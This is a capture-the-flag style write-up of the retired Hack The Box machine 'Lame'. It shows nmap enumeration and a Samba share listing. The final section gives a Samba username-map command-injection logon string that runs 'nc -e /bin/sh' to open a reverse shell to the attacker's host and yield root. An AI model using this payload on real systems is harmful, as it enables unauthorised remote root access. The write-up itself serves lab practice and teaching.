Lame

Hack The Box · Easy Linux Box · Retired

Name:	Lame
Release Date:	14 Mar 2018
Retire Date:	25 May 2019
OS:	Linux
Base Points:	Easy - Retired [0]
Rated Difficulty:
Radar Graph:
	0x1Nj3cT0R 19 days, 00 hours, 55 mins, 25 seconds
	0x1Nj3cT0R 19 days, 00 hours, 54 mins, 36 seconds
Creator:	ch4p
CherryTree File:	CherryTree - Remove the .txt extension

Enumeration

Again, we start with nmap -sC -sV -oA ./lame 10.10.10.3.

$ nmap -sC -sV -Pn -oA ./lame 10.10.10.3

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 15:50 EDT
Nmap scan report for 10.10.10.3
Host is up (0.064s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.27
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.36 seconds

Samba User-Map Exploitation

FTP, SSH, and SMB. In this case, SMB itself is vulnerable to an SMB User-Map to shell exploit. The exploit injects a crafted string into the username field. Connect to the box with smbclient and then change the logon. I also added these two lines to /etc/samba/smb.conf.

sudo vi /etc/samba/smb.conf

client min protocol = NT1
client max protocol = NT1

smbclient -L //10.10.10.3
Enter WORKGROUP\kali's password:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAME

smb: \> logon "./=`nohup nc -e /bin/sh 10.10.XX.XX 9999`"
Password: [Hit Enter Here]

Set up your Netcat listener with nc -lvnp 9999 before pressing Enter at the password prompt and you'll be gifted with a root shell.